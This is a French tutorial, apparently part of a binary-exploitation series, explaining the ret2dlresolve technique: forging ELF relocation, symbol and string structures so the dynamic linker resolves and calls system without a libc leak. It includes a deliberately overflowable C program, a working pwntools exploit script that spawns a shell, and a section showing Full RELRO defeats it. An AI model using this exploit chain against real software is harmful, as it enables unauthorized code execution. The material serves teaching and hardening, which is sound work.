ret2dlresolve : résoudre un symbole sans fuite
Sans fuite libc : forgez la relocation que lit l'éditeur de liens dynamique pour lui faire résoudre et appeler system. Et pourquoi Full RELRO y met fin.
Ceci est le douzième tutoriel de l'espace Techniques d'exploitation. Le guide ret2libc consacrait sa première étape uniquement à fuiter libc pour pouvoir trouver system. Et si vous ne pouvez pas fuiter — aucune primitive de sortie, un seul coup ? ret2dlresolve contourne complètement la fuite en faisant résoudre system par son nom par l'éditeur de liens dynamique, pour vous.
Votre propre binaire, labo jetable. Voir les règles du labo.
Comment fonctionne la liaison paresseuse (et comment on en abuse)
Avec la liaison paresseuse (le défaut de Partial RELRO), une fonction importée n'est pas résolue avant son premier appel. Le premier appel à foo@plt exécute un stub qui empile un indice de relocation et saute vers _dl_runtime_resolve(link_map, index). Le résolveur ensuite :
- lit la relocation
Elf64_Relaà cet indice dans la table.rela.plt(JMPREL), - suit son
r_infojusqu'à unElf64_Symdans la table des symboles dynamiques, - lit le nom de ce symbole depuis la table des chaînes,
- cherche le nom dans libc, écrit le résultat dans la GOT, et y saute.
Chacune de ces tables est consultée par décalage à partir de données que nous pouvons influencer. Si nous appelons _dl_runtime_resolve avec un indice qui pointe vers une relocation que nous avons forgée — dont la chaîne de nom de symbole est "system" — le chargeur résout et appelle system pour nous. Aucune adresse libc n'a jamais eu besoin d'être connue.
La cible
/* vuln.c — overflow, dynamically linked, lazy binding (Partial RELRO). */
#include <unistd.h>
void vuln(void){ char b[64]; read(0, b, 256); }
int main(void){ vuln(); return 0; }
gcc -fno-stack-protector -no-pie -Wl,-z,relro,-z,lazy -O0 -g -o vuln vuln.c
checksec doit afficher Partial RELRO (liaison paresseuse activée) et No PIE (afin que .bss et le stub PLT0 soient à des adresses fixes).
Le construire avec pwntools
Le faire à la main signifie empaqueter manuellement un faux Elf64_Rela, un Elf64_Sym et une chaîne, tous à des décalages cohérents dans .bss — sujet aux erreurs en 64 bits. Le Ret2dlresolvePayload de pwntools construit un jeu cohérent :
# ret2dlresolve.py
from pwn import *
context.binary = elf = ELF("./vuln")
# 1) Describe the call we want the loader to resolve and make.
dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop = ROP(elf)
# 2) Read our forged structures + "/bin/sh" into the .bss data area.
rop.read(0, dl.data_addr) # read(0, bss, len)
# 3) Invoke the PLT0 resolver stub with our forged relocation index.
rop.ret2dlresolve(dl)
raw = rop.chain()
payload = flat({72: raw}) # 72 = offset to return address
io = process("./vuln")
io.sendline(payload) # stage 1: the ROP chain
io.sendline(dl.payload) # stage 2: the forged structs read() consumes
io.interactive()
$ python3 ret2dlresolve.py
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab)
La chaîne appelle read pour déposer les fausses structures Elf et la chaîne "/bin/sh" dans .bss à une adresse connue, puis saute vers le stub résolveur PLT0 avec notre décalage de relocation fabriqué. Le chargeur parcourt nos tables, résout "system", et l'appelle avec "/bin/sh" — le tout sans une seule adresse fuitée.
Réactivez la mitigation : Full RELRO
ret2dlresolve dépend entièrement du fait que le résolveur d'exécution reste atteignable. Full RELRO le supprime :
gcc -fno-stack-protector -no-pie -Wl,-z,relro,-z,now -O0 -g -o vuln_full vuln.c
Avec -z now, le chargeur résout chaque import au démarrage et le chemin paresseux n'est jamais utilisé à l'exécution — il n'y a aucun appel _dl_runtime_resolve à détourner. L'exploit n'a rien à invoquer :
| Build | RELRO / liaison | ret2dlresolve |
|---|---|---|
-z relro -z lazy | Partielle / paresseuse | Fonctionne — le résolveur est actif |
-z relro -z now | Complète / anticipée | Mort — aucune résolution à l'exécution |
C'est la deuxième technique de la série que Full RELRO tue, pour une raison différente de la première. La surcharge de la GOT mourait parce que RELRO rendait la GOT en lecture seule ; ret2dlresolve meurt parce que RELRO désactive complètement la résolution paresseuse. Un drapeau, deux techniques closes.
Ce que cela enseigne à un défenseur
- Full RELRO vaut plus qu'il n'y paraît. Il est facile de voir
-z nowcomme « ça rend juste la GOT en lecture seule ». Cela élimine aussi toute la surface d'attaque de la résolution paresseuse, y compris ret2dlresolve. Pour les binaires sensibles à la sécurité, ce devrait être le défaut — voir les drapeaux de durcissement des binaires. - « Ils ne peuvent pas fuiter libc, donc ils ne peuvent pas appeler system » est faux. ret2dlresolve est le contre-exemple : un attaquant sans fuite peut quand même atteindre
systempar son nom. Ne comptez pas sur l'absence de fuite d'information comme marge de sécurité. - L'éditeur de liens dynamique fait partie de votre surface d'attaque. Ses structures de données sont atteignables par les mêmes bugs que tout le reste. Réduire ce qui est résoluble à l'exécution (liaison anticipée) la rétrécit.
Points clés
- ret2dlresolve forge les structures de relocation et de symbole que lit l'éditeur de liens dynamique, si bien qu'il résout et appelle un symbole (p. ex.
system) par son nom — aucune fuite libc requise. - Il nécessite la liaison paresseuse (Partial RELRO) et une adresse inscriptible connue pour les fausses structures ; les cibles non-PIE sont les plus faciles.
- La disposition 64 bits est délicate ;
Ret2dlresolvePayloadconstruit un jeu cohérent de structures. - Full RELRO (
-z now) désactive la résolution paresseuse et tue la technique purement et simplement.
Ensuite : one-gadget, quand une seule adresse libc — sous les bonnes conditions de registres — suffit pour un shell.